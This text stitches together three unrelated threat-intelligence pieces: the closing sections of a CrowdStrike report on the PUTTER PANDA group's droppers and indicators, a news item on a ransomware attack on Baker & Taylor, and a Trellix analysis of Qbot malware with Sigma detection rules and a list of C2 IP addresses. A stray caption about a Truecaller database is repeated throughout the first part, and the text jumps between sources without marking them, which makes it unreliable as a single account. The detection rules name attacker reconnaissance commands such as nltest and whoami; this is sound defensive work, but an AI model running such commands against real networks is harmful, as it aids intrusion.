Other CrowdStrike reporting describes a dropper used by PUTTER PANDA (abc.scr) to install the 4H RAT.
This
dropper uses RC4 to decrypt an embedded payload from data in an embedded resource before writing the
payload to disk and executing it.
Several instances of this dropper have been observed, most commonly in
association with the 4H RAT, but also in relation to other tools that will be described in forthcoming reporting.
Another dropper has been observed, exclusively installing the pngdowner malware (example MD5 hash
4c50457c35e2033b3a03fcbb4adac7b7).
This dropper is simplistic in nature, and is compiled from a single C++
source code file.
It contains a Word document in plaintext (written to Bienvenue_a_Sahaja_Yoga_Toulouse.
doc), along with an executable (Update.exe) and DLL (McUpdate.dll).
The executable and DLL are both
contained within the .data section of the dropper, obfuscated with a 16-byte XOR key (consisting of the bytes
0xA0 – 0xAF).
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Both the document and executable are written to disk and the executed via the ShellExecute             API (using the
Twitter Account (names
verb “open”).
The executable is also installed into the ASEP registry key HKCU\Software\Microsoft\Windows\
redacted)
CurrentVersion\Run, with a value named McUpdate.
Finally, the dropper deletes itself via a batch file.
The dropped executable (MD5 hash 38a2a6782e1af29ca8cb691cf0d29a0d) primarily aims to inject
the specified DLL (McUpdate.dll, MD5 hash 08c7b5501df060ccfc3aa5c8c41b452f) into a process that
would normally be accessing the network, likely in order to disguise the malicious activity.
Module names
corresponding to Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and
Firefox (firefox.exe) are used.
If Internet Explorer is used, then the malware will attempt to terminate processes
corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).
Four examples of these droppers were located, using a mixture of decoy PDF and Microsoft Word documents
(shown below in Figures 15-18).
The common theme throughout these documents is space technology
(Bienvenue_a_Sahaja_Yoga_Toulouse.doc does not follow this trend, but could be targeted at workers at the
Toulouse Space Centre, the “largest space centre in Europe” ), indicating that the attackers have a keen
interest in this sector, which is also reflected in the choice of name for some of the C2 domains used (see the
Attribution section above).
The API used expects a parameter of the form char**, and is given a char* pointer to the “*/*” string, but the stack data following this
16
pointer is not properly zeroed or cleansed before use, leading to uncontrolled memory being read as other strings.
35
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Figure 15.
“In-
vitation_Pleia-
des_012012.doc”
Dropped by a4e4b-
3ceb949e8494968c-
71fa840a516
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
Figure 16.
“Bien-
venue_a_Sahaja_
Yoga_Toulouse.doc”
Dropped by
4c50457c35e-
2033b3a03fcbb4ad-
ac7b7
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Figure 17.
“50th AIAA
Satellite Sciences
Conference.pdf”
from 6022cf1f-
cf2b478bed8da1fa3e-
996ac5
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
Figure 18: “Proj-
ect-Manager-Job-
Description-Sur-
rey-Satellite-Tech-
nology-world-lead-
er-provision-small-sat-
ellite-solutions.
pdf” Dropped by
9cb6103e9588d506cf-
d81961ed41eefe
37
Mitigation & Remediation
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
MITIGATION & REMEDIATION
A number of specific and generic
detection methods are possible for
this RAT, both on a host and on the
network.
These are detailed below,
and are designed to expand upon
the indicators reported in other
CrowdStrike reporting.
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
REGISTRY ARTIFACTS                                                             Twitter Account (names
The following Windows registry artifacts are indicative of a compromised host: redacted)
• ASEP registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, and value named McUpdate
FILE SYSTEM ARTIFACTS
The presence of the following file system artifacts is indicative of a compromised host:
• ssdpsvc.dll, msacem.dll, or mrpmsg.dll
• C:\RECYCLER\restore.dat
• %TEMP%\index.dat
HOST INDICATORS
A file mapping named &*SDKJfhksdf89*DIUKJDSF&*sdfsdf78sdfsdf also indicates the victim machine is
compromised with PUTTER PANDA malware.
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Yara Rules
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NETWORK SIGNATURES
In addition the domains listed in the Appendices and in the Attribution section, the generic signatures below
can be used to detect activity from the malware described in this report.
Snort Rules
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
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Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
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TTPS
In addition to the indicators described above, PUTTER PANDA have some distinct generic TTPs:
• Distinctive connectivity checks to www.google.com
• Use of the HashData API to derive key material for authentication and encryption
• Use of the ASEP registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Deployment of space industry-themed decoy documents during malware installations
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
46
Conclusion
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
Conclusion
PUTTER PANDA are a determined adversary group who have been operating
for several years, conducting intelligence-gathering operations with a
significant focus on the space sector.
Although some of their tools are
simplistic, taken as a whole their toolset provides a wide degree of control
over a victim system and can provide the opportunity to deploy additional
tools at will.
Research presented in this report shows that the PUTTER PANDA operators are
likely members of the 12th Bureau, 3rd General Staff Department
Screenshot(GSD)       of
of Truecaller
Database Shared by
the People’s Liberation Army (PLA), operating from the unit’s headquarters
DEADEYE JACKAL on Their
Twitter Account (names
in Shanghai with MUCD 61486.
Strategic objectives for this unit    are likely
redacted)
to include obtaining intellectual property and industrial secrets relating to
defense technology, particularly those to help enable the unit’s suspect
mission to conduct space surveillance, remote sensing, and interception of
satellite communications.
PUTTER PANDA is likely to continue to aggressively
target Western entities that hold valuable information or intellectual property
relevant to these interests.
The detection and mitigation guidance given in this report will help to
minimize the risk of a successful compromise by these actors, and future
CrowdStrike reports will examine other elements of the PUTTER PANDA toolset.
48
Appendices
CrowdStrike Intelligence Report
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APPENDIX 1: 4H RAT SAMPLE METADATA
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
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APPENDIX 2: 3PARA RAT SAMPLE METADATA
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
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APPENDIX 3: PNGDOWNER SAMPLE METADATA
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
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Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
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APPENDIX 4: HTTPCLIENT SAMPLE METADATA
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
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CrowdStrike
Falcon                                                      Falcon
Intelligence                                                Intelligence
CrowdStrike Falcon Intelligence portal provides             Benefits
enterprises with strategic, customized, and actionable
intelligence.
Falcon Intelligence enables organizations     Incorporate Actionable Intelligence
to prioritize resources by determining targeted             Feeds into your existing enterprise
versus commodity attacks, saving time and focusing          security infrastructure to identify
resources on critical threats.
With unprecedented           advanced attackers speci!c to your
insight into adversary tools, tactics, and procedures       organization and industry
(TTPs) and multi-source information channels, analysts
can identify pending attacks and automatically feed         Rapidly integrate Falcon Intelligence
threat intelligence via API to SIEM and thirdparty
into custom work”ows and SEIM
deployments with a web-based API
security tools.
Quickly understand the capabilities
Access to CrowdStrike Falcon Intelligence is geared
and artifacts of targeted attacker
toward all levels of an organization, from the
tradecra# with In-depth technical
executivewho needs to understand the business threat
analysis
and strategic business impact, to the front-line securiyt
professional struggling to !ght through an adversary’s
Gain visibility into breaking events
attack against the enterprise.
that matter to an organization’s
brand, infrastructure, and customers
CrowdStrike Falcon Intelligence is a web-based              Interact with the Intelligence team
intelligence subscription that includes full access to a    and leverage customized Cyber
variety of feature sets, including:                         Threat Intelligence feedback during
• Detailed technical and strategic analysis of             Quarterly Executive Brie!ngs
50+adversaries’ capabilities, indicators and              Provide malware samples and
tradecra!,attribution, and intentions                     receive customized and actionable
intelligence reporting
• Customizable feeds and API for indicators of
compromise in a wide variety of formats                   Access the Adversary Pro!le Library
to gain in-depth information into
• Tailored Intelligence that provides                      50+ adversary groups, to include
visibility into breaking events that matter to            capabilities and tradecra# and tradecraft
an organization’s brand,
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CrowdStrike Falcon Host                                  Falcon Host Key Features
• Endpoint threat detection and response solution
CrowdStrike Falcon Host is an endpoint threat
• Cloud-managed application with easily deployed sensors for
detection and response product that identifies
Mac & Windows
unknown malware, detects zero-day threats, and
• Kernel-mode sensors requires no reboot on updates.
Less
prevents damage from targeted attacks in real-time.
than 2MB footprint executable
Falcon Host is comprised of two core components,
• Detects attacks based on adversary activity
the cloud-based management console and the
• Integrates with existing security architecture and SIEM tools
on-premises host-based sensor that continuously
through Falcon Host APIs
monitors threat activity at the endpoint to prevent
damage in real-time.
Technology Drivers:
Stateful Execution inspection
Falcon Host leverages a lightweight kernel-mode
Stateful Execution Inspection (SEI) tracks execution state and
sensor that shadows, captures, and correlates low-
links together various stages of the kill chain, from initial code
level operating system events to instantly identify
execution to data exfiltration.
the adversary tradecraft and activities through
Stateful Execution Inspection (SEI) at the endpoint
CrowdStrike’s Real-time Stateful Execution Engine performs
and Machine Learning in the cloud.
As opposed
inspection and analysis to understand the full context of a
to focusing on malware signatures, indicators of
cyber attack.
SEI is critical to understanding the entire
compromise, exploits, and vulnerabilities, Falcon Host
attack life cycle and preventing the damage from advanced
instead identifies mission objectives of the adversary
malware and targeted attacks.
Existing security technologies
leveraging the Kill Chain model and provides realtime
that focus solely on malware signatures, incidators of
detection by focusing on what the attacker is
compromise, exploits, and vulnerabilities
doing, as opposed to looking nfor a specific,
fail to protect against the majority of attacks as they are blind
easily changeable indicator used in an attack.
to the full scope of adversary activity.
Without performing intrusive and performance-
Benefits
impacting scans of the system, Falcon Host’s highly
• Identify and protect against damage from determined
efficient real-time monitoring of all system activity
attackers who are undetected by existing passive
is the only security solution that provides maximum
defense solutions
visibility into all adversary activities, including
• Understand who is attacking you, why and what they want
Adversary-in-Motion: reconnaissance, exploitation,
to steal or damage
privilege escalation, lateral movement, and
• Alert and stop exfiltration of sensitive information from
exfiltration.
compromised machines Protect remote users when they
are outside of the corporate network
Falcon Host delivers insight into past and current
• Protect remote users when they are outside of the
attacks not only on a single host, but also across
corporate network
devices and networks.
• No on-premises equipment needed, reducing overall
total cost of ownership
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About CrowdStrike
CrowdStrike is a global provider of security technology and services focused on
identifying advanced threats and targeted attacks.
Using big-data technologies,
CrowdStrike’s next-generation threat protection platform leverages real-time
Stateful Execution Inspection (SEI) at the endpoint and Machine Learning
in the cloud instead of solely focusing on malware signatures, indicators of
compromise, exploits, and vulnerabilities.
The CrowdStrike Falcon Platform
is a combination of big data technologies and endpoint security driven by
advanced threat intelligence.
CrowdStrike Falcon enables enterprises to identify
unknown malware, detect zero-day threats, pinpoint advanced adversaries and
attribution, and prevent damage from targeted attacks in real time.
About CrowdStrike Services
CrowdStrike Services is a wholly owned subsidiary of CrowdStrike responsible
for proactively defending against and responding to cyber incidents with pre
and post Incident Response services.
CrowdStrike’s seasoned team of Cyber
Intelligence professionals, Incident Responders, and Malware Researchers
consists of a number of internationally recognized authors, speakers, and experts
who have worked on some of the most publicized and challenging intrusions and
malware attacks in recent years.
The CrowdStrike Services team leverages our
Security Operations Center to monitor the full CrowdStrike Falcon Platform and
provide cutting-edge advanced adversary intrusion detection services.
The full
spectrum of proactive and response services helps customers respond tactically
as well as continually mature and strategically evolve Incident Response
program capabilities.
60
For more information on the intelligence provided in this report or on
any of the 70+ actors tracked by the CrowdStrike Global Intelligence team,
contact us at intelligence@crowdstrike.com
To learn more about the CrowdStrike Falcon Platform or
CrowdStrike Services, contact us at sales@crowdstrike.com.
www.crowdstrike.com | @CrowdStrike
Leading library services firm Baker & Taylor hit by ransomware
Baker & Taylor, which describes itself as the world's largest distributor of books to libraries worldwide, today confirmed it's still working on restoring systems after being hit by ransomware more than a week ago.
As Baker & Taylor said on August 23, its servers were down after an outage that impacted the company's phone systems, offices, and service centers.
One day later, the library services provider revealed that disruptions to its business-critical systems stemming from the incident would persist through the week while technical teams work on restoring impacted servers.
"As an update, the source of the disruption is a ransomware attack launched against our network over the weekend, which we have been working to remediate ever since," Baker & Taylor said in a statement.
"Cyber-attacks are an increasing threat to all companies, and unfortunately, we, like others fell victim to a hacker's attack.
Our IT team and outside experts are working nonstop to restore our systems."
"We want to take this opportunity to thank you again for your continued patience and cooperation as we deal with the service disruption we’ve been experiencing.
We know that it has been frustrating, and we appreciate your ongoing understanding," the firm added today.
"We will continue to provide updates and look forward to returning to normal operations as quickly as possible."
Currently, there is no information on what ransomware group or affiliate is behind the attack.
Still, based on the company's statement that it's working on restoring affected servers, it's safe to say that Baker & Taylor will not pay the ransom demand.
Baker & Taylor is a privately held company founded over 190 years ago and a leading library content and software supplier in the United States and around the globe.
Based in Charlotte, North Carolina, it currently provides services to more than 5,000 public and academic libraries.
A Baker & Taylor spokesperson was not immediately available for comment when contacted by BleepingComputer earlier today.
Demystifying Qbot Malware
By Adithya Chandra and Sushant Kumar Arya · August 24, 2022
Executive summary
The Trellix SecOps Team has observed an uptick in the Qbot malware infections in recent months.
Qbot has been an active threat for over 14 years and continues to evolve, adopting new infection vectors to evade detection mechanisms.
At Trellix, we are committed to protecting our customers from upcoming and emerging threats on the their network, inclusive of those that are found being exploited in the wild.
Trellix SecOps strives to build advanced detection features, improving product’s overall Threat Detection capabilities.
Over the next few sections of this blog, we will highlight TTPs of Qbot malware, detection capabilities in Trellix products.
and some detection strategies which help protect customers against this and future attacks of similar nature.
Introduction
Qbot, also known as QakBot, QuackBot and Pinkslipbot, is a common trojan malware designed to steal passwords.
Over time this malware has evolved from simple infostealer malware to an infostealer with a backdoor functionality.
The malware has been active since 2008 and is primarily used by financially motivated actors.
Qbot actors have also served as ‘Initial Access Brokers’ to many ransomware partners including REvil/Sodinokibi.
In the latest versions of Qbot Payload, we have observed significant changes in its TTPs, including new delivery vectors to evade detection mechanisms.
In 2022-Q1&Q2, Trellix has detected ~500K Qbot URLs in FAUDE (FireEye Advanced URL Detection Engine) with a peak of 189,313 URLs in Apr-2022.
Trellix has been studying this malware and discovered a significant uptick in the spread of Qbot malware over the first half of 2022 using several new techniques.
We put together a comprehensive analysis detailing its TTPs, IOCs, Detection & Hunting Schemas and defence mechanisms from Trellix products.
Qbot threat landscape
The Qbot threat landscape with reference to the geopolitical regions and industry verticals has changed from time to time and we have compiled regions and verticals targeted as shown in below section:
QbBot threat landscape summary
nfection vector: email
Initially Qbot was distributed by Emotet malware, but currently the major infection vector is malspam email campaigns with multiple variants.
Over the next section, we discuss the prevalent variants across customers.
MITRE mappings
Attack Behaviour 	Example 	MITRE ATT&CK
Malicious email with an .html attachment.
Threat actor lured user to open malicious email with malicious .html attachment.
Initial Access / Phishing (T1566)
The .html file opens in a browser and uses HTML Smuggling to drop an embedded .ZIP file to the hard drive.
User manually click the HTML file from downloads directory.
Process: Chrome.exe
Commandline: --single-argument *.html
Path:*\\User\\Downloads\\* 	Defense Evasion / Obfuscated Files or Information: HTML Smuggling (T1027.006)
Password-protected zipped file which contains an .ISO image.
User unzips the password protected zip file which contain an ISO file.
Defense Evasion / Subvert Trust Controls: Mark-of-the-Web Bypass (T1553.005)
User executed malicious Windows Shortcut, which executes calc.exe from mounted ISO image.
User clicks the malicious LNK file from the ISO file.
As rest of the items will be hidden, only lnk file will be visible to the user.
Execution / User Execution (T1204.002)
calc.exe loads adversary crafted WindowsCodecs DLL.
Process: Calc.exe
Sysmon event id: 7
ImageLoaded:
C:\Users\User\Downloads\..\WindowsCodecs.dll
Defense Evasion / Hijack Execution Flow: DLL Side-Loading (T1574.002)
Calc.exe spawns Microsoft signed binary (RegSvr32.exe) to executes Qbot dll (loader)
ParentProcess: Calc.exe
Process: Regsvr32.exe
Defense Evasion / System Binary Proxy Execution (T1218)
RegSvr32.exe(Qbot loader dll) spawns and injects Explorer.
(Recent versions has seen injecting to explorer.exe, wermgr.exe, msra.exe etc)
ParentProcess: Regsvr32.exe
Process: Explorer.exe/ wermgr.exe
Defense Evasion / Process Injection (T1055)
Explorer creates scheduled task
ParentProcess: Explorer.exe
Process:schtasks.exe
Persistence/Scheduled Task/Job: Scheduled Task
Explorer creates new registry entries
Symon event id: 13
Event Action: Registry Value Set
Defense Evasion/Modify Regsitry
Explorer connects with C2
Sysmon event id: 3
Process: Explorer.exe
System Binary Proxy Execution/ Command & Control
Explorer executes a well-known sequence of Qbot discovery commands.
Explorer.exe spawns whoami, arp, ipconfig, net view, cmd, nslookup, nltest, net share, route, netstat, net localgroup, qwinsta and other discovery activities via WMI queries.
Discovery / System Information Discovery (T1082)
Table 1: MITRE mappings
Breaking down the Qbot malware
The most prevalent way Qbot infects its victims is via email.
The emails used in the latest campaign carry an HTML file (TXRTN_2636021.html).
The user downloads the HTML attachment and opens it in their browser which downloads a password-protected ZIP archive (TXRTN_2636021.zip) with an ISO file inside.
HTML smuggling: highly evasive malware delivery technique
(MITRE: Defense Evasion/Obfuscated Files or Information: HTML Smuggling (T1027.006))
HTML smuggling is an evasive payload delivery method that helps an attacker smuggle a payload past content filters and firewalls by hiding malicious payloads inside of seemingly benign HTML files.
On opening the html file in vscode/ notepad ++ we can easily see how this is being done.
There is a very long base64encoded variable that is present in the javascript section of this HTML file.
The javascript assembles the zip package and drops it to the device.
On Unzipping the ZIP file with the password shown the in html document, user gets the ISO file.
On mounting the ISO, user sees only the ‘LNK’(Shortcut) file; the rest of which are hidden.
(MITRE: Defense Evasion/Subvert Trust Controls: Mark-of-the-Web Bypass (T1553.005))
On unpacking this ISO, there are 4 files inside of it as shown below.
The ISO contains a .LNK file(shortcut), calc.exe (Windows Calculator), and two DLL files, namely WindowsCodecs.dll and Qbot payload named 102755.dll
The user clicking the shortcut file triggers the Qbot malware infection by executing the ‘calc.exe’ through the Command Prompt.
Why a Windows 7 calculator?
DLL Sideloading:
(MITRE: Defense Evasion/Hijack Execution Flow: DLL Side-Loading (T1574.002))
Windows allows applications to load DLLs at runtime.
Applications can specify the location of DLLs to load by specifying a full path, using DLL redirection, or by using an application manifest.
If none of these methods are used, it attempts to locate the DLL by searching a predefined set of directories in a set order.
When the shortcut loads, the Windows 7 Calculator, it automatically searches for and attempts to load the legitimate WindowsCodecs DLL file.
However, it does not check for the DLL in certain hard coded paths and will load any DLL file with the same name if placed in the same folder as the Calc.exe executable.
In the below snip, you can see that Calc.exe was placed in the desktop path and executed.
Once it starts execution, it searches and loads WindowsCodecs DLL.
However, the DLL was not present in the desktop path, hence it shows in ‘Result’ tab as “NAME NOT FOUND”.
This doesn’t work anymore with the Windows 10 version of the calculator application.
Hence the threat actors behind Qbot, bundled Windows 7 calc.exe along with this.
Now What?
The attacker takes advantage of this flaw by creating their own malicious WindowsCodecs.dll file that launches the other dll file, which is nothing but the QuakBot malware(loader module).
Thus, by launching Qbot through a trusted program like the Windows Calculator, attackers can easily fool security analysts and some security software.
How is it so stealthy?
The bundled calculator app is a legit benign Windows 7 calculator.
But with the aforementioned flaw, the calculator loads the ‘windowscodecs.dll’ from the same directory, which is specifically crafted by the adversary.
On executing the calculator, it loads windowscodecs.dll which in turn loads the Qbot loader payload via regsvr32.
This Qbot loader DLL is a x32 bit Delphi compiled binary, with no export functions.
Qbot loader DLL (Delphi compiled 32bit binary)
But as it is executed and gets unpacked, the core Qbot payload is a VC (C/C++) compiled binary (DLL) with export functions.
On analyzing this core module further, it does the same checks as seen in previous versions of Qbot payloads.
Below shows the malware payload checking for Windows Defender Emulation using WinAPI GetFileAttributes “C:\INTERNAL\__empty”.
The payload also uses flag SELF_TEST_1 which appears to be for self-debugging purposes to check if the machine is infected or not.
After the self-check debugging test, the malware creates a new thread and starts its execution.
Later, this payload module loads/imports DLLs, enumerating the system process along with anti-debug checks and leading the payload to inject to explorer.exe/wermgr.exe via process hollowing.
How does it gain persistence?
As Qbot has evolved, it continues to rely on the use of scheduled tasks and registry keys/runkeys for its persistence with variations on its implementation.
As the core payload gets executed, the Qbot gains its persistence via 3 steps:
Copying itself to below mentioned folder:
%AppData%\Roaming\Microsoft\{RandomStrings}
Creating a registry value pointing to the above payload
Scheduled task to launch the loader 102755.dll
Folder Creations:
Dropped DLLs are loaded via regsvr32.exe as shown in below:
Registry entries:
(MITRE: Persistence/Defense Evasion/Modify Regsitry)
In the latest payload versions, Qbot has moved from creating its config file in “.dat” format.
Now, it writes its cloned dDLL entry in the victim host along with its botnet/campaign ID as encrypted registry keys to the ‘HKCU\Software\Microsoft\’ Hive.
Registry entries are encrypted using system dependant password hash, config IDs, etc., which upon decrypting reveals the BotID/Campaign ID, time of the infection, DLL loader path, etc.
Scheduled task persistence:
(MITRE: Persistence/Scheduled Task/Job: Scheduled Task)
One of the most significant ways payload versions of Qbot differ are their creation of Scheduled Tasks for persistence.
Recent Qbot payloads have been seen using random generated task names during its creations.
The injected Explorer.exe creates scheduled task leveraging schtasks.exe
Above command is base64decoded and can be decoded which results in below figure:
Calling home: C2 communications
(MITRE: System Binary Proxy Execution/Command & Control)
Once it executes and successfully infects the victim, it calls home.
It pings each of the IPs from its hardcoded C2 list.
As the IP responds, it sends the POST request with the victim fingerprinting data.
The injected process (explorer.exe/ wermgr.exe), pings every one of its IP in the C2 lists leveraging wininet, dnsapi and sleep function.
Sleep function is set so the requests to IPs aren’t creating bottlenecks in communication.
To those C2s which responds back to ping requests, the Qbot sends POST requests which consists of victim fingerprinting details as seen below:
Appendix
Detection opportunities
The following sections provide the specific Trellix Products detections, along with custom sigma rules and IOCs to help surface Qbot and related threats.
Trellix Products 	Detection Signatures
Trellix Network Security
Trellix VX
Trellix Cloud MVX
Trellix File Protect
Trellix Malware Analysis
Trellix SmartVision
Trellix Email Security
Trellix Detection as Service
Static:
FE_Trojan_HTM_Phish_209
FE_Trojan_HTML_Phish_347
FEC_Dropper_HTML_Generic_11
FEC_Dropper_HTML_Generic_13
FE_Loader_Win32_Generic_340
FE_Loader_Win32_Generic_499
Dynamic:
Suspicious Codeinjection on System Processes
Suspicious Process Schtask Activity
Suspicious Dllloaded Regsvr on Dropped Dll
Suspicious Codeinjection on Known Benign File Location
Suspicious Codeinjection Activity
Suspicious File Dropped Dll Executed
Malicious Trojan Indicator
Malicious Dropper Indicator
Trellix Endpoint Security (HX)
Trojan.
GenericKD.49349603
Trojan.
GenericKD.50615557
Trojan.
GenericKD.50616470
Generic.mg.491e9489c9e11f8b
POSSIBLE INJECTED EXPLORER (METHODOLOGY)
QAKBOT G (FAMILY)
Trellix Helix
WINDOWS METHODOLOGY [Suspicious ISO mounts]
WINDOWS METHODOLOGY [Suspicious Scheduled tasks]
WINDOWS METHODOLOGY [Regsvr32 -Suspicious child process]
MALWARE METHODOLOGY [QBot CALC Behaviour]
Helix hunting queries
metaclass:windows ((class=ms_defender category:`advancedhunting-devicefileevents`
action:`filecreated`) OR (source:`microsoft-windows-sysmon` eventid=11))
filename:[`*.html`,`*.zip`,`*.iso`,`*.lnk`] filename:/TXRTN_[0-9]{7}/ ?
metaclass:windows ((class=ms_defender category:`advancedhunting-devicefileevents`) OR
(source:`microsoft-windows-sysmon` eventid=[11,23,26]) OR (source:`microsoft-windows-security-
auditing` eventid=4663 category:`file system`) filename:[`*.html`,`*.zip`,`*.iso`,`*.lnk`]
filename:/TXRTN_[0-9]{7}/ ?
Custom Sigma rules:
title: suspicious DLL SideLoading by calc
status: Experimental
description: Detects the DLL-Sideloading of windowscodecs.dll by calc.exe.
date: 04/08/2022
logsource:
product: windows
category: image_load
detection:
selection:
- ImageLoaded|endswith:
- '\WindowsCodecs.dll'
- Image|endswith:
- 'calc.exe'
filter:
- Imageloaded|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\Syswow64\'
condition: selection and not filter
falsepositives:
- Unknown
level: high
tags:
- DLL Side-Loading
- T1574.002
=======
title: Suspicious calc child process
status: Experimental
description: Detects the suspicious child process of calc
date: 04/08/2022
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\\calc.exe'
Image|endswith:
- '\\regsvr32.exe'
condition: all of them
falsepositives:
- Unknown
level: high
tags:
- SystemBinary Proxy Execution
- T1218.010
=======
title: Suspicious process injection to explorer
status: Experimental
description: Detects the suspicious regsvr32 child process
date: 04/08/2022
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\\regsvr32.exe'
Image|endswith:
- '\\Explorer.exe'
condition: all of them
falsepositives:
- Uknown
level: high
tags:
- SystemBinary Proxy Execution
- T1218.010
=======
title: Suspicious commands arguments from Explorer
status: Experimental
description: Detects the suspicious commandlines from explorer
date: 04/08/2022
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\\Explorer.exe'
commandLine|contains:
- 'whoami /all'
- 'arp -a'
- 'ipconfig /all'
- 'net view /all'
- 'cmd /c set'
- 'nslookup -querytype=ALL -timeout=10 _ldap._tcp.dc._msdcs'
- 'nltest /domain_trusts /all_trusts'
- 'net share'
- 'netstat -nao'
- 'net localgroup'
- 'qwinsta'
condition: all of them
falsepositives:
- Uknown
level: high
tags:
- System Information Discovery
- T1082
=======
title: Suspicious commands arguments from Wermgr.exe
status: Experimental
description: Detects the suspicious commandlines from wermgr.exe
date: 04/08/2022
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\\Wermgr.exe'
commandLine|contains:
- 'whoami /all'
- 'arp -a'
- 'ipconfig /all'
- 'net view /all'
- 'cmd /c set'
- 'nslookup -querytype=ALL -timeout=10 _ldap._tcp.dc._msdcs'
- 'nltest /domain_trusts /all_trusts'
- 'net share'
- 'netstat -nao'
- 'net localgroup'
- 'qwinsta'
condition: all of them
falsepositives:
- Uknown
level: high
tags:
- System Information Discovery
- T1082
=====
title: Explorer Initiated a network Connection
status: experimental
description: |
Adversaries may abuse explorer.exe to proxy execution of malicious payloads and connect with C2.
references:
date: 04/08/2022
logsource:
category: network_connection
product: windows
detection:
selection:
Initiated: 'true'
Image|endswith: '\explorer.exe'
condition: selection
falsepositives:
- Legitimate explorer.exe connections over networks
level: medium
tags:
- Defense Evasion
- T1218.007
=====
title: WerMgr Initiated a Network Connection
status: experimental
description: |
Adversaries may abuse wermgr.exe to proxy execution of malicious payloads and connect with C2.
references:
date: 04/08/2022
logsource:
category: network_connection
product: windows
detection:
selection:
Initiated: 'true'
Image|endswith: '\wermgr.exe'
condition: selection
falsepositives:
- Legitimate wermgr.exe connections over networks
level: medium
tags:
- Defense Evasion
- T1218.007
IOCs:
Files
FileName: TXRTN_2636021.html
Hash:5cb20a0bfc5e3e2ae8398b1840adf7ae
— —
FileName:TXRTN_2636021.iso
Hash:17be394b5cd6d74c3709e39f02cd1aa3
— —
FileName: WindowsCodecs.dll
Hash:491e9489c9e11f8b9d3d77239559a194
— —
FileName: 102755.dll
Hash:217f7ddedf40dbe456ce13bf01bd74fc
— —
FileName: zhujpga.dll/ mfvffncbov.dll (cloned dll’s)
Hash:217f7ddedf40dbe456ce13bf01bd74fc
Network communications
http://94.59.15.56:2222
http://94.59.15.204:2222
http://94.59.15.166:2222
http://94.36.193.62:2222
http://94.36.193.38:2222
http://94.36.193.154:2222
http://93.48.80.99:995
http://93.48.80.92:995
http://93.48.80.238:995
http://92.132.132.196:2222
http://92.132.132.160:2222
http://92.132.132.112:2222
http://89.211.209.7:2222
http://89.211.209.252:2222
http://89.211.209.156:2222
http://86.97.246.37:1194
http://86.97.246.230:1194
http://86.97.246.217:2222
http://86.97.246.171:1194
http://86.97.246.157:1194
http://86.97.246.143:2222
http://86.97.246.133:2222
http://86.213.75.210:2078
http://86.213.75.17:2078
http://86.213.75.13:2078
http://84.241.8.223:32103
http://84.241.8.203:32103
http://84.241.8.149:32103
http://84.241.8.131:32103
http://81.158.239.89:2078
http://81.158.239.219:2078
http://81.158.239.163:2078
http://81.158.239.10:2078
http://80.11.74.71:2222
http://80.11.74.238:2222
http://80.11.74.179:2222
http://80.11.74.146:2222
http://74.14.5.212:2222
http://74.14.5.178:2222
http://72.252.157.62:995
http://72.252.157.250:990
http://72.252.157.245:990
http://72.252.157.233:995
http://72.252.157.212:990
http://72.252.157.106:995
http://70.51.137.22:2222
http://70.51.137.209:2222
http://70.51.137.204:2222
http://70.51.137.15:2222
http://67.69.166.80:2222
http://67.69.166.36:2222
http://67.69.166.245:2222
http://63.143.92.90:995
http://63.143.92.26:995
http://63.143.92.221:995
http://63.143.92.15:995
http://46.100.25.55:61202
http://46.100.25.153:61202
http://46.100.25.145:61202
http://45.46.53.7:2222
http://45.46.53.77:2222
http://45.46.53.221:2222
http://40.134.246.56:995
http://40.134.246.216:995
http://40.134.246.149:995
http://39.57.56.30:995
http://39.57.56.206:995
http://39.57.56.201:995
http://39.53.124.45:995
http://39.53.124.148:995
http://39.53.124.135:995
http://39.52.59.37:995
http://39.52.59.234:995
http://39.52.59.184:995
http://39.52.221.84:995
http://39.52.221.39:995
http://39.52.221.205:995
http://39.49.41.55:995
http://39.49.41.28:995
http://39.49.41.181:995
http://39.44.60.65:995
http://39.44.60.51:995
http://39.44.60.187:995
http://39.41.16.33:995
http://39.41.16.31:995
http://39.41.16.109:995
http://38.70.253.70:2222
http://38.70.253.56:2222
http://38.70.253.213:2222
http://38.70.253.154:2222
http://37.208.131.96:50010
http://37.208.131.249:50010
http://37.208.131.230:50010
http://37.208.131.224:50010
http://37.186.58.41:995
http://37.186.58.18:995
http://37.186.58.153:995
http://32.221.224.83:995
http://32.221.224.7:995
http://32.221.224.201:995
http://32.221.224.102:995
http://24.178.196.74:2222
http://24.178.196.228:2222
http://24.178.196.227:2222
http://24.178.196.177:2222
http://24.158.23.45:995
http://24.158.23.219:995
http://24.158.23.204:995
http://24.158.23.104:995
http://217.165.157.245:995
http://217.165.157.243:995
http://217.165.157.121:995
http://217.128.122.182:2222
http://217.128.122.112:2222
http://217.128.122.108:2222
http://201.172.23.70:2222
http://201.172.23.6:2222
http://201.172.23.174:2222
http://201.172.23.102:2222
http://196.203.37.228:80
http://196.203.37.212:80
http://196.203.37.190:80
